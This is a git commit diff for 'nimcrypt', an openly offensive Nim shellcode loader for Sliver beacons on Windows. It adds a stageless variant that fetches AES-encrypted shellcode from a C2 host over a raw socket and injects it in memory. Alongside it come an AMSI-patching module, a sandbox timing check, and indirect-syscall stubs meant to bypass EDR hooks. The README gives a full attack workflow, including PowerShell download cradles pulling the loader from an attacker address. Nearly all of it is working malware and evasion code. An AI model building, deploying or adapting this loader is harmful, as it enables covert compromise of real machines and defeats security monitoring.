Add Stageless Loader

This commit is contained in:
Chaelsoo
2026-07-09 17:57:35 +01:00
parent 9e4ac4c5d5
commit 1eb5793a2a
8 changed files with 656 additions and 166 deletions
+133 -62
View File
@@ -1,131 +1,202 @@
# nimcrypt
A Sliver shellcode loader written in Nim. Encrypts your Sliver beacon shellcode with AES-256-CBC before dropping it on disk, then decrypts and executes it in memory on the target, keeping the raw shellcode off disk and out of static analysis reach.
A Sliver shellcode loader written in Nim targeting Windows x64. Two variants covering the two most common delivery situations. Tested against Windows Defender with real-time protection enabled.
Tested against Windows Defender with real-time monitoring enabled.
## Variants
## How it works
### stager
### Encryption (your machine)
Reads an encrypted shellcode blob from disk, decrypts it in memory, and self-injects. Use this when you already have a file drop primitive and want a small, simple binary.
`encrypt.py` reads the raw shellcode and encrypts it with AES-256-CBC using a randomly generated 32-byte key and 16-byte IV. The encrypted blob is what gets transferred to the target. The shellcode never touches the target's disk in plaintext, so static analysis and on-write Defender scans see only ciphertext.
```
loader.exe <shellcode.bin> [key_hex iv_hex]
```
### Loader execution (target machine)
Key and IV are optional. If omitted, the file is treated as raw unencrypted shellcode.
The loader does the following at runtime:
### stageless
1. **Reads** the encrypted shellcode file from disk
2. **Decrypts** it in memory using the Windows BCrypt API (AES-256-CBC). The key and IV are passed as arguments at runtime. They never exist in the binary itself
3. **Allocates** a memory region with `VirtualAlloc` using `PAGE_READWRITE` permissions
4. **Copies** the decrypted shellcode into that region
5. **Changes** the memory permissions to `PAGE_EXECUTE_READ` via `VirtualProtect` — the region is now executable but no longer writable (RW → RX)
6. **Executes** the shellcode by casting the memory address to a function pointer and calling it
Downloads the encrypted blob from your C2 over a raw TCP socket, decrypts it in memory, and self-injects. No file ever touches disk. Use this when you can execute a binary on the target but cannot reliably drop a second file.
The RW → RX transition is intentional. `PAGE_EXECUTE_READWRITE` (RWX) is a well-known red flag that Defender and EDRs specifically watch for. Allocating as RW first, writing the shellcode, then flipping to RX is the standard approach to avoid that signature.
Edit the constants at the top of `stageless/loader.nim` before compiling:
The decrypted shellcode only exists in memory for the duration of execution. It is never written back to disk.
```nim
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # 64 hex chars from encrypt.py
scIV = "..." # 32 hex chars from encrypt.py
```
## Techniques
### Sandbox evasion
The stageless loader calls `Sleep(5000)` on startup and measures actual elapsed time with `GetTickCount64`. If less than 4500ms passed, the process exits. Most automated sandbox environments fast-forward or skip sleeps, causing the check to fail. This runs before any network activity or shellcode execution so sandboxes that inspect network behaviour see nothing.
### AMSI bypass
`amsi.nim` patches `AmsiScanBuffer` at runtime using two layers of obfuscation:
**String hiding via FNV-1a hashing.** The string `AmsiScanBuffer` never appears in the binary. Instead, its FNV-1a hash is computed at compile time and stored as a constant. At runtime the loader walks amsi.dll's export table, hashes each export name, and compares against the stored value to find the function address without ever holding the string in memory.
**Compile-time XOR obfuscation.** Both the DLL name (`amsi.dll`) and the patch bytes (`xor eax, eax; ret` = `31 C0 C3`) are XOR-encoded at compile time using a random key generated fresh each build via a Python subprocess. The key is embedded as a constant and the bytes are decoded at runtime immediately before use. The raw bytes change every build, breaking static signatures on the patch sequence.
The patch overwrites the first three bytes of `AmsiScanBuffer` with `xor eax, eax; ret`, making every call return `AMSI_RESULT_CLEAN` regardless of input.
### Payload encryption
`encrypt.py` encrypts raw shellcode with AES-256-CBC using a randomly generated 32-byte key and 16-byte IV. The loader decrypts in-place using the Windows BCrypt API, so no third-party crypto library is needed on the target.
### RW to RX memory transition
Memory is allocated as `PAGE_READWRITE`, the shellcode is written into it, and then the region is flipped to `PAGE_EXECUTE_READ` before execution. Allocating directly as `PAGE_EXECUTE_READWRITE` is a well-known signature that Defender and EDRs flag explicitly. Separating the write and execute phases avoids that pattern.
### Indirect syscalls (Hell's Gate + Halo's Gate)
`stageless/syscalls.nim` bypasses both the Win32 API layer (kernel32.dll) and any ntdll.dll userland hooks placed by EDRs.
**SSN resolution.** At startup the loader gets ntdll's base address and parses its PE export table, collecting every `Nt*` export sorted by RVA. For each NT function we need, it checks the first four bytes:
- `4C 8B D1 B8` (`mov r10, rcx; mov eax, imm32`) means the stub is clean and the SSN is read directly from bytes 4-5. This is Hell's Gate.
- Anything else means the function prologue has been patched by an EDR hook. In that case the loader walks neighbors in the sorted list until it finds a clean stub, then computes the target SSN as `neighbor_SSN +/- distance`. SSNs increment by one per stub in address order. This is Halo's Gate.
**Gadget location.** The loader scans the first clean Nt* stub it finds for the byte sequence `0F 05 C3` (`syscall; ret`). This gives an address inside ntdll's image-backed `.text` section that we can reuse.
**Stub generation.** For each required function a 22-byte stub is written into a single RW page that is flipped to RX before use:
```
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax, <SSN>
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx gadget address
```
The `jmp [rip+0]` dereferences the 8 bytes immediately following it (the gadget address) and redirects execution into ntdll's existing `syscall; ret` sequence. The `syscall` instruction fires from ntdll's `.text` rather than from our anonymous allocation, defeating any kernel-level tracking of which memory region issued the syscall.
The four functions covered by indirect syscalls are `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtCreateThreadEx`, and `NtWaitForSingleObject`.
### Self-injection
After decryption, the stageless loader allocates a RW region in its own process via `NtAllocateVirtualMemory`, copies the shellcode in with `copyMem`, flips the region to RX via `NtProtectVirtualMemory`, and spawns a thread via `NtCreateThreadEx`. The main thread then blocks indefinitely on `NtWaitForSingleObject`, keeping the process alive while the beacon's goroutines run. All four calls go through the indirect syscall stubs described above.
Self-injection keeps the call surface minimal. There are no cross-process API calls (`WriteProcessMemory`, `CreateRemoteThread`, etc.), which are the primary detection vectors for classic remote injection.
## Execution flow (stageless)
1. Timing check: sleep 5s, exit if elapsed < 4.5s
2. AMSI patch: resolve `AmsiScanBuffer` via FNV-1a, overwrite with `xor eax, eax; ret`
3. Resolve indirect syscall stubs: parse ntdll exports, find SSNs (Hell's Gate + Halo's Gate), locate `syscall; ret` gadget, write stubs
4. Download: raw TCP socket, HTTP GET, strip headers, keep body
5. Decrypt: AES-256-CBC via BCrypt in place
6. Allocate: `NtAllocateVirtualMemory` in own process (RW) via indirect syscall
7. Copy shellcode into the allocation
8. Protect: `NtProtectVirtualMemory` to PAGE_EXECUTE_READ via indirect syscall
9. Execute: `NtCreateThreadEx` via indirect syscall
10. Wait: `NtWaitForSingleObject` on the thread handle via indirect syscall
## Execution flow (stager)
1. AMSI patch
2. Read shellcode file from disk
3. Decrypt if key and IV were provided
4. `VirtualAlloc` (RW), copy shellcode, `VirtualProtect` to RX
5. Execute via function pointer cast
## Requirements
**On your Linux machine:**
On your Linux build machine:
- Nim + nimble (`nimble install winim`)
- `x86_64-w64-mingw32-gcc` (mingw-w64)
- mingw-w64 (`x86_64-w64-mingw32-gcc`)
- Python 3 + pycryptodome (`pip install pycryptodome`)
## Full workflow
### 1. Set up Sliver listener
### 1. Start a Sliver listener
```
[127.0.0.1] sliver > mtls --lhost 10.10.14.42 --lport 443
[*] Starting mTLS listener ...
[*] Successfully started job #1
[server] sliver > mtls --lhost 10.10.14.42 --lport 443
```
### 2. Generate beacon shellcode
```
[127.0.0.1] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols mssql
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[!] Symbol obfuscation is disabled
[*] Build completed in 2s
[*] Implant saved to /path/to/WICKED_SLIDER.bin
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
```
> `--skip-symbols` speeds up build time. `--format shellcode` is required. Do not use `--format exe`.
### 3. Encrypt the shellcode
### 3. Encrypt
```bash
python3 encrypt.py WICKED_SLIDER.bin
# [+] encrypted: WICKED_SLIDER_enc.bin (17875072 bytes)
# [+] key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# [+] iv: 83b82994e8c512d536f7d42e89d6e761
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv: 83b82994e8c512d536f7d42e89d6e761
```
Save the key and IV, you need them at runtime.
### 4. Set constants and compile
### 4. Compile the loader
Edit `stageless/loader.nim` and set `c2Host`, `c2Port`, `c2Path`, `scKey`, `scIV`, then from the project root:
```bash
nim c -d:release -o:loader.exe loader.nim
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim
# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim
```
The `nim.cfg` handles all cross-compilation flags automatically. The output is a statically linked Windows x64 PE with no external DLL dependencies beyond standard Windows system libraries.
Always compile from the project root so that only the root `nim.cfg` is loaded. The output is a statically linked Windows x64 PE with no external DLL dependencies beyond standard system libraries.
### 5. Transfer to target
### 5. Serve or transfer
Transfer `loader.exe` and `WICKED_SLIDER_enc.bin` to the target however you have access, certutil, PowerShell WebClient, SMB, etc.
Stageless: serve the encrypted blob over HTTP on the port matching `c2Port`:
```bash
cd bins && python3 -m http.server 443
```
Stager: transfer both files to the target:
```powershell
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/WICKED_SLIDER_enc.bin", "C:\Windows\Temp\beacon.bin")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")
```
### 6. Execute
Stageless:
```
loader.exe beacon.bin <key> <iv>
loader.exe
```
Example:
Stager with encryption:
```
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
```
Raw unencrypted shellcode is also supported (no key/IV needed):
Stager without encryption:
```
loader.exe shellcode.bin
```
## AMSI patch (PowerShell sessions)
## PowerShell delivery
If you are delivering via PowerShell rather than cmd, AMSI will scan your download cradle. Patch it first:
If delivering via a PowerShell download cradle, AMSI will scan the script before the loader runs. Patch AMSI in your PS session first:
```bash
python3 gen_amsi.py
```
Paste the output into your PowerShell session before downloading or executing anything. A fresh randomized patch is generated on every run, with a different XOR key and byte arrays each time, so no two generated scripts share the same pattern.
The patch works by:
- Resolving `AmsiScanBuffer` via export table hash matching (FNV-1a, computed at compile time), the string never appears in the script
- Patching via `WriteProcessMemory` on the current process, no `VirtualProtect` call needed
- All strings (`amsi.dll`, `AmsiScanBuffer`, the C# P/Invoke definition) are XOR-encoded with the per-run random key
> AMSI is irrelevant if you are executing `loader.exe` directly from cmd or xp_cmdshell. It only hooks script engines (PowerShell, JScript, .NET). Skip the patch in those cases.
Paste the output into the PS session before downloading or executing anything. The script resolves `AmsiScanBuffer` by export table hash so the string never appears in plaintext, and all patch bytes are XOR-encoded with a random per-run key.
## Notes
- The loader is statically linked against the mingw pthread runtime, no `libwinpthread-1.dll` required on the target
- Requires Windows 10 / Server 2016+ (Universal CRT). Server 2012 R2 works with KB3118401 installed
- `BCryptSetProperty` for chaining mode returns `STATUS_INVALID_PARAMETER` but BCrypt defaults to CBC anyway, decryption works correctly
- Requires Windows 10 / Server 2016+ (Universal CRT)
- `BCryptSetProperty` for chaining mode returns `STATUS_INVALID_PARAMETER` but BCrypt defaults to CBC regardless, decryption works correctly
- Indirect syscalls cover only the four injection-critical NT functions. Winsock and BCrypt calls still go through their normal API paths, which is acceptable since those calls are behaviorally benign in isolation
- The `syscall` instruction in the stubs fires from inside ntdll's `.text` section (image-backed, Microsoft-signed), not from the stub page, defeating kernel-level syscall origin tracking
## References
- [gatariee/ldrgen](https://github.com/gatariee/ldrgen)
- [D3Ext/Hooka](https://github.com/D3Ext/Hooka)
- https://github.com/gatariee/ldrgen
- https://github.com/D3Ext/Hooka
-103
View File
@@ -1,103 +0,0 @@
import winim
import std/os
import std/strutils
import amsi
proc aesDecrypt(data: var seq[byte], key: openArray[byte], iv: openArray[byte]) =
var
hAlg: BCRYPT_ALG_HANDLE = nil
hKey: BCRYPT_KEY_HANDLE = nil
cbResult: ULONG = 0
ivCopy = newSeq[byte](iv.len)
copyMem(addr ivCopy[0], unsafeAddr iv[0], iv.len)
var r: NTSTATUS
r = BCryptOpenAlgorithmProvider(addr hAlg, BCRYPT_AES_ALGORITHM, nil, 0)
echo "[*] BCryptOpenAlgorithmProvider: 0x", r.toHex()
var cbcMode = BCRYPT_CHAIN_MODE_CBC
r = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
cast[PUCHAR](addr cbcMode),
ULONG(sizeof(cbcMode)), 0)
echo "[*] BCryptSetProperty: 0x", r.toHex()
r = BCryptGenerateSymmetricKey(hAlg, addr hKey, nil, 0,
cast[PUCHAR](unsafeAddr key[0]), ULONG(key.len), 0)
echo "[*] BCryptGenerateSymmetricKey: 0x", r.toHex()
r = BCryptDecrypt(hKey,
cast[PUCHAR](addr data[0]), ULONG(data.len),
nil,
cast[PUCHAR](addr ivCopy[0]), ULONG(iv.len),
cast[PUCHAR](addr data[0]), ULONG(data.len),
addr cbResult, 0)
echo "[*] BCryptDecrypt: 0x", r.toHex(), " cbResult: ", cbResult
BCryptDestroyKey(hKey)
BCryptCloseAlgorithmProvider(hAlg, 0)
data.setLen(cbResult.int)
proc parseHexBytes(s: string): seq[byte] =
let clean = s.replace(" ", "").replace(",", "").replace("0x", "")
result = newSeq[byte](clean.len div 2)
for i in 0 ..< result.len:
result[i] = byte(parseHexInt(clean[i*2 .. i*2+1]))
proc main() =
patchAmsi()
if paramCount() < 1:
echo "Usage: ", getAppFilename(), " <shellcode.bin> [key_hex iv_hex]"
quit(1)
let filename = paramStr(1)
let encrypted = paramCount() >= 3
echo "[*] file: ", filename, " | encrypted: ", encrypted
var f: File
if not open(f, filename, fmRead):
echo "[-] failed to open: ", filename
quit(1)
let size = f.getFileSize().int
var shellcode = newSeq[byte](size)
discard f.readBuffer(addr shellcode[0], size)
f.close()
echo "[*] read ", size, " bytes"
if encrypted:
let key = parseHexBytes(paramStr(2))
let iv = parseHexBytes(paramStr(3))
echo "[*] key len: ", key.len, " iv len: ", iv.len
if key.len != 32 or iv.len != 16:
echo "[-] bad key/iv length"
quit(1)
aesDecrypt(shellcode, key, iv)
echo "[*] decrypted size: ", shellcode.len
echo "[*] allocating ", shellcode.len, " bytes"
let buf = VirtualAlloc(nil,
SIZE_T(shellcode.len),
MEM_COMMIT or MEM_RESERVE,
PAGE_READWRITE)
if buf == nil:
echo "[-] VirtualAlloc failed"
quit(1)
echo "[*] allocated at 0x", cast[uint](buf).toHex()
copyMem(buf, addr shellcode[0], shellcode.len)
echo "[*] shellcode copied"
var oldProtect: DWORD = 0
let vpRet = VirtualProtect(buf, SIZE_T(shellcode.len), PAGE_EXECUTE_READ, addr oldProtect)
echo "[*] VirtualProtect: ", vpRet
echo "[*] executing..."
let fn = cast[proc() {.cdecl.}](buf)
fn()
echo "[*] returned from shellcode"
main()
+2 -1
View File
@@ -4,5 +4,6 @@ cc = "gcc"
gcc.exe = "x86_64-w64-mingw32-gcc"
gcc.linkerexe = "x86_64-w64-mingw32-gcc"
define = "mingw"
passL = "-lbcrypt -s -w -L./lib -static-libgcc -static-libstdc++ -Wl,-Bstatic,--whole-archive -lpthread -Wl,--no-whole-archive,-Bdynamic"
threads = "off"
passL = "-lbcrypt -s -w -L./lib -static-libgcc -static-libstdc++ -lucrtbase -Wl,--exclude-libs,libucrt.a"
opt = "size"
+86
View File
@@ -0,0 +1,86 @@
import winim/lean
import std/strutils
# Random XOR key generated at compile time via shell - different every build
const xorKey = static:
let (o, rc) = gorgeEx("python3 -c 'import secrets; print(secrets.randbelow(254)+1)'")
if rc == 0: uint8(o.strip().parseInt)
else:
# fallback: derive from compile timestamp so it still varies per build
let t = CompileTime
(uint8(ord(t[0])) xor uint8(ord(t[3])) xor uint8(ord(t[6]))) or 1'u8
proc encodeBytes(s: static string): seq[uint8] {.compileTime.} =
result = newSeq[uint8](s.len)
for i, c in s:
result[i] = uint8(ord(c)) xor xorKey
# "amsi.dll" stored XOR'd - never plaintext in the binary
const encDll = encodeBytes("amsi.dll")
# Patch bytes: xor eax, eax (0x31 0xC0) ; ret (0xC3)
# Stored XOR'd - different raw bytes every build
const encPatch = [
uint8(0x31) xor xorKey,
uint8(0xC0) xor xorKey,
uint8(0xC3) xor xorKey,
]
proc decodeStr(enc: openArray[uint8]): string =
result = newString(enc.len)
for i, b in enc:
result[i] = char(b xor xorKey)
# FNV-1a constants
const
fnvBasis = 0xcbf29ce484222325'u64
fnvPrime = 0x100000000001b3'u64
# Hash of "AmsiScanBuffer" computed at compile time - string never in binary
const scanHash = static:
var h = fnvBasis
for c in "AmsiScanBuffer":
h = (h xor uint64(ord(c))) * fnvPrime
h
proc hashExport(p: ptr UncheckedArray[uint8]): uint64 =
result = fnvBasis
var i = 0
while p[i] != 0:
result = (result xor uint64(p[i])) * fnvPrime
inc i
proc findByHash(base: uint, target: uint64): pointer =
let dos = cast[ptr IMAGE_DOS_HEADER](base)
let nt = cast[ptr IMAGE_NT_HEADERS64](base + uint(dos.e_lfanew))
let expRva = uint(nt.OptionalHeader.DataDirectory[0].VirtualAddress)
if expRva == 0: return nil
let exp = cast[ptr IMAGE_EXPORT_DIRECTORY](base + expRva)
let names = cast[ptr UncheckedArray[DWORD]](base + uint(exp.AddressOfNames))
let ords = cast[ptr UncheckedArray[WORD]](base + uint(exp.AddressOfNameOrdinals))
let fns = cast[ptr UncheckedArray[DWORD]](base + uint(exp.AddressOfFunctions))
for i in 0 ..< int(exp.NumberOfNames):
let namePtr = cast[ptr UncheckedArray[uint8]](base + uint(names[i]))
if hashExport(namePtr) == target:
return cast[pointer](base + uint(fns[ords[i]]))
return nil
proc patchAmsi*() =
let dllName = decodeStr(encDll)
let hAmsi = cast[uint](LoadLibraryA(dllName))
if hAmsi == 0: return
let fn = findByHash(hAmsi, scanHash)
if fn == nil: return
var old: DWORD = 0
discard VirtualProtect(fn, 3, PAGE_EXECUTE_READWRITE, addr old)
let p = cast[ptr UncheckedArray[uint8]](fn)
p[0] = encPatch[0] xor xorKey
p[1] = encPatch[1] xor xorKey
p[2] = encPatch[2] xor xorKey
discard VirtualProtect(fn, 3, old, addr old)
+129
View File
@@ -0,0 +1,129 @@
import winim
import winim/lean
import std/strutils
import amsi
import syscalls
# ── Configuration ──────────────────────────────────────────────────────────
const
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "DEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEF"
scIV = "DEADBEEFDEADBEEFDEADBEEFDEADBEEF"
# ── Helpers ────────────────────────────────────────────────────────────────
proc parseHexBytes(s: string): seq[byte] =
let clean = s.replace(" ", "").replace(",", "").replace("0x", "")
result = newSeq[byte](clean.len div 2)
for i in 0 ..< result.len:
result[i] = byte(parseHexInt(clean[i*2 .. i*2+1]))
proc aesDecrypt(data: var seq[byte]; key, iv: openArray[byte]) =
var
hAlg: BCRYPT_ALG_HANDLE = nil
hKey: BCRYPT_KEY_HANDLE = nil
cbResult: ULONG = 0
ivCopy = newSeq[byte](iv.len)
copyMem(addr ivCopy[0], unsafeAddr iv[0], iv.len)
discard BCryptOpenAlgorithmProvider(addr hAlg, BCRYPT_AES_ALGORITHM, nil, 0)
var cbcMode = BCRYPT_CHAIN_MODE_CBC
discard BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
cast[PUCHAR](addr cbcMode), ULONG(sizeof(cbcMode)), 0)
discard BCryptGenerateSymmetricKey(hAlg, addr hKey, nil, 0,
cast[PUCHAR](unsafeAddr key[0]), ULONG(key.len), 0)
discard BCryptDecrypt(hKey,
cast[PUCHAR](addr data[0]), ULONG(data.len), nil,
cast[PUCHAR](addr ivCopy[0]), ULONG(iv.len),
cast[PUCHAR](addr data[0]), ULONG(data.len),
addr cbResult, 0)
BCryptDestroyKey(hKey)
BCryptCloseAlgorithmProvider(hAlg, 0)
data.setLen(cbResult.int)
# ── Sandbox evasion: accelerated-time detection ────────────────────────────
proc timingCheck() =
let t0 = GetTickCount64()
Sleep(5000)
if GetTickCount64() - t0 < 4500:
ExitProcess(0)
# ── Download encrypted shellcode over raw TCP ──────────────────────────────
proc fetchShellcode(): seq[byte] =
var wsaData: WSADATA
if WSAStartup(MAKEWORD(2, 2), addr wsaData) != 0:
ExitProcess(1)
let sock = socket(AF_INET.cint, SOCK_STREAM.cint, IPPROTO_TCP.cint)
if sock == INVALID_SOCKET:
WSACleanup(); ExitProcess(1)
var serv: sockaddr_in
serv.sin_family = AF_INET.int16
serv.sin_port = htons(c2Port)
cast[ptr ULONG](addr serv.sin_addr)[] = inet_addr(c2Host)
if connect(sock, cast[ptr sockaddr](addr serv), sizeof(serv).cint) == SOCKET_ERROR:
closesocket(sock); WSACleanup(); ExitProcess(1)
let req = "GET " & c2Path & " HTTP/1.0\r\nHost: " & c2Host & "\r\n\r\n"
discard send(sock, cstring(req), req.len.cint, 0)
var raw: seq[byte]
var buf: array[4096, byte]
while true:
let n = recv(sock, cast[cstring](addr buf[0]), buf.len.cint, 0)
if n <= 0: break
raw.add(buf.toOpenArray(0, n - 1))
closesocket(sock)
WSACleanup()
var bodyStart = -1
for i in 0 .. raw.len - 4:
if raw[i] == 0x0D and raw[i+1] == 0x0A and raw[i+2] == 0x0D and raw[i+3] == 0x0A:
bodyStart = i + 4
break
if bodyStart == -1: ExitProcess(1)
result = raw[bodyStart .. ^1]
# ── Inject via direct syscalls (Hell's Gate + Halo's Gate) ────────────────
proc injectAndRun(shellcode: var seq[byte]) =
let sc = initSyscalls()
var
base: PVOID = nil
regionSize: SIZE_T = SIZE_T(shellcode.len)
oldProt: ULONG = 0
tid: HANDLE = 0
if sc.NtAllocateVirtualMemory(GetCurrentProcess(), addr base, 0,
addr regionSize,
MEM_COMMIT or MEM_RESERVE,
PAGE_READWRITE) != 0:
ExitProcess(1)
copyMem(base, addr shellcode[0], shellcode.len)
regionSize = SIZE_T(shellcode.len)
if sc.NtProtectVirtualMemory(GetCurrentProcess(), addr base, addr regionSize,
PAGE_EXECUTE_READ, addr oldProt) != 0:
ExitProcess(1)
if sc.NtCreateThreadEx(addr tid, ACCESS_MASK(0x1FFFFF), nil,
GetCurrentProcess(), base, nil,
0, 0, 0, 0, nil) != 0:
ExitProcess(1)
discard sc.NtWaitForSingleObject(tid, FALSE, nil)
proc main() =
timingCheck()
patchAmsi()
var sc = fetchShellcode()
aesDecrypt(sc, parseHexBytes(scKey), parseHexBytes(scIV))
injectAndRun(sc)
main()
+150
View File
@@ -0,0 +1,150 @@
import winim/lean
import std/algorithm
# Indirect syscall stub layout (22 bytes):
# 4C 8B D1 mov r10, rcx
# B8 xx xx 00 00 mov eax, SSN
# FF 25 00 00 00 00 jmp qword ptr [rip+0] <- rip after this = byte 14
# xx xx xx xx xx xx xx xx gadget address <- [rip+0] lands here
#
# syscall fires from ntdll's own .text, not our page.
const STUB_SIZE = 22
type
NtAllocateVirtualMemoryFn* = proc(
ProcessHandle: HANDLE;
BaseAddress: ptr PVOID;
ZeroBits: ULONG_PTR;
RegionSize: ptr SIZE_T;
AllocationType: ULONG;
Protect: ULONG): NTSTATUS {.stdcall.}
NtProtectVirtualMemoryFn* = proc(
ProcessHandle: HANDLE;
BaseAddress: ptr PVOID;
RegionSize: ptr SIZE_T;
NewProtect: ULONG;
OldProtect: ptr ULONG): NTSTATUS {.stdcall.}
NtCreateThreadExFn* = proc(
ThreadHandle: ptr HANDLE;
DesiredAccess: ACCESS_MASK;
ObjectAttributes: PVOID;
ProcessHandle: HANDLE;
StartRoutine: PVOID;
Argument: PVOID;
CreateFlags: ULONG;
ZeroBits: SIZE_T;
StackSize: SIZE_T;
MaximumStackSize: SIZE_T;
AttributeList: PVOID): NTSTATUS {.stdcall.}
NtWaitForSingleObjectFn* = proc(
Handle: HANDLE;
Alertable: BOOL;
Timeout: PVOID): NTSTATUS {.stdcall.}
SyscallTable* = object
NtAllocateVirtualMemory*: NtAllocateVirtualMemoryFn
NtProtectVirtualMemory*: NtProtectVirtualMemoryFn
NtCreateThreadEx*: NtCreateThreadExFn
NtWaitForSingleObject*: NtWaitForSingleObjectFn
type ExportEntry = object
name: string
rva: uint32
proc getNtExports(base: pointer): seq[ExportEntry] =
let dos = cast[ptr IMAGE_DOS_HEADER](base)
let nth = cast[ptr IMAGE_NT_HEADERS64](
cast[uint](base) + uint(dos.e_lfanew))
let edt = cast[ptr IMAGE_EXPORT_DIRECTORY](
cast[uint](base) + uint(
nth.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress))
let names = cast[ptr UncheckedArray[uint32]](
cast[uint](base) + uint(edt.AddressOfNames))
let ords = cast[ptr UncheckedArray[uint16]](
cast[uint](base) + uint(edt.AddressOfNameOrdinals))
let funcs = cast[ptr UncheckedArray[uint32]](
cast[uint](base) + uint(edt.AddressOfFunctions))
for i in 0 ..< int(edt.NumberOfNames):
let n = $cast[cstring](cast[uint](base) + uint(names[i]))
if n.len > 2 and n[0] == 'N' and n[1] == 't':
result.add(ExportEntry(name: n, rva: funcs[ords[i]]))
template isClean(p: ptr UncheckedArray[byte]): bool =
p[0] == 0x4C and p[1] == 0x8B and p[2] == 0xD1 and p[3] == 0xB8
template readSsn(p: ptr UncheckedArray[byte]): uint16 =
uint16(p[4]) or (uint16(p[5]) shl 8)
# Scan the first unhooked Nt* stub for 0F 05 C3 (syscall; ret).
# Returns the address of that byte sequence inside ntdll's .text.
proc findGadget(base: pointer; sorted: seq[ExportEntry]): uint64 =
for e in sorted:
let p = cast[ptr UncheckedArray[byte]](cast[uint](base) + uint(e.rva))
if not p.isClean: continue
for i in 0 ..< 32:
if p[i] == 0x0F and p[i+1] == 0x05 and p[i+2] == 0xC3:
return cast[uint64](cast[uint](p) + uint(i))
ExitProcess(1)
# Hell's Gate + Halo's Gate — sorted by RVA so SSNs increment by 1 per step.
proc getSsn(base: pointer; sorted: seq[ExportEntry]; name: string): uint16 =
var idx = -1
for i, e in sorted:
if e.name == name:
idx = i; break
if idx < 0: ExitProcess(1)
let fn = cast[ptr UncheckedArray[byte]](cast[uint](base) + uint(sorted[idx].rva))
if fn.isClean:
return fn.readSsn
for d in 1 .. sorted.len:
if idx - d >= 0:
let nb = cast[ptr UncheckedArray[byte]](cast[uint](base) + uint(sorted[idx - d].rva))
if nb.isClean:
return nb.readSsn + uint16(d)
if idx + d < sorted.len:
let nb = cast[ptr UncheckedArray[byte]](cast[uint](base) + uint(sorted[idx + d].rva))
if nb.isClean:
return nb.readSsn - uint16(d)
ExitProcess(1)
proc writeStub(page: pointer; slot: int; ssn: uint16; gadget: uint64): pointer =
let p = cast[ptr UncheckedArray[byte]](cast[uint](page) + uint(slot * STUB_SIZE))
p[0] = 0x4C; p[1] = 0x8B; p[2] = 0xD1 # mov r10, rcx
p[3] = 0xB8 # mov eax, imm32
p[4] = byte(ssn and 0xFF)
p[5] = byte(ssn shr 8)
p[6] = 0x00; p[7] = 0x00
p[8] = 0xFF; p[9] = 0x25 # jmp qword ptr [rip+0]
p[10] = 0x00; p[11] = 0x00
p[12] = 0x00; p[13] = 0x00
cast[ptr uint64](addr p[14])[] = gadget # gadget address at [rip+0]
return cast[pointer](p)
proc initSyscalls*(): SyscallTable =
let ntdll = cast[pointer](GetModuleHandleA("ntdll"))
var exports = getNtExports(ntdll)
exports.sort(proc(a, b: ExportEntry): int = cmp(a.rva, b.rva))
let gadget = findGadget(ntdll, exports)
let page = VirtualAlloc(nil, 4096, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
if page == nil: ExitProcess(1)
result.NtAllocateVirtualMemory = cast[NtAllocateVirtualMemoryFn](
writeStub(page, 0, getSsn(ntdll, exports, "NtAllocateVirtualMemory"), gadget))
result.NtProtectVirtualMemory = cast[NtProtectVirtualMemoryFn](
writeStub(page, 1, getSsn(ntdll, exports, "NtProtectVirtualMemory"), gadget))
result.NtCreateThreadEx = cast[NtCreateThreadExFn](
writeStub(page, 2, getSsn(ntdll, exports, "NtCreateThreadEx"), gadget))
result.NtWaitForSingleObject = cast[NtWaitForSingleObjectFn](
writeStub(page, 3, getSsn(ntdll, exports, "NtWaitForSingleObject"), gadget))
var old: DWORD = 0
discard VirtualProtect(page, 4096, PAGE_EXECUTE_READ, addr old)
+86
View File
@@ -0,0 +1,86 @@
import winim/lean
import std/strutils
# Random XOR key generated at compile time via shell - different every build
const xorKey = static:
let (o, rc) = gorgeEx("python3 -c 'import secrets; print(secrets.randbelow(254)+1)'")
if rc == 0: uint8(o.strip().parseInt)
else:
# fallback: derive from compile timestamp so it still varies per build
let t = CompileTime
(uint8(ord(t[0])) xor uint8(ord(t[3])) xor uint8(ord(t[6]))) or 1'u8
proc encodeBytes(s: static string): seq[uint8] {.compileTime.} =
result = newSeq[uint8](s.len)
for i, c in s:
result[i] = uint8(ord(c)) xor xorKey
# "amsi.dll" stored XOR'd - never plaintext in the binary
const encDll = encodeBytes("amsi.dll")
# Patch bytes: xor eax, eax (0x31 0xC0) ; ret (0xC3)
# Stored XOR'd - different raw bytes every build
const encPatch = [
uint8(0x31) xor xorKey,
uint8(0xC0) xor xorKey,
uint8(0xC3) xor xorKey,
]
proc decodeStr(enc: openArray[uint8]): string =
result = newString(enc.len)
for i, b in enc:
result[i] = char(b xor xorKey)
# FNV-1a constants
const
fnvBasis = 0xcbf29ce484222325'u64
fnvPrime = 0x100000000001b3'u64
# Hash of "AmsiScanBuffer" computed at compile time - string never in binary
const scanHash = static:
var h = fnvBasis
for c in "AmsiScanBuffer":
h = (h xor uint64(ord(c))) * fnvPrime
h
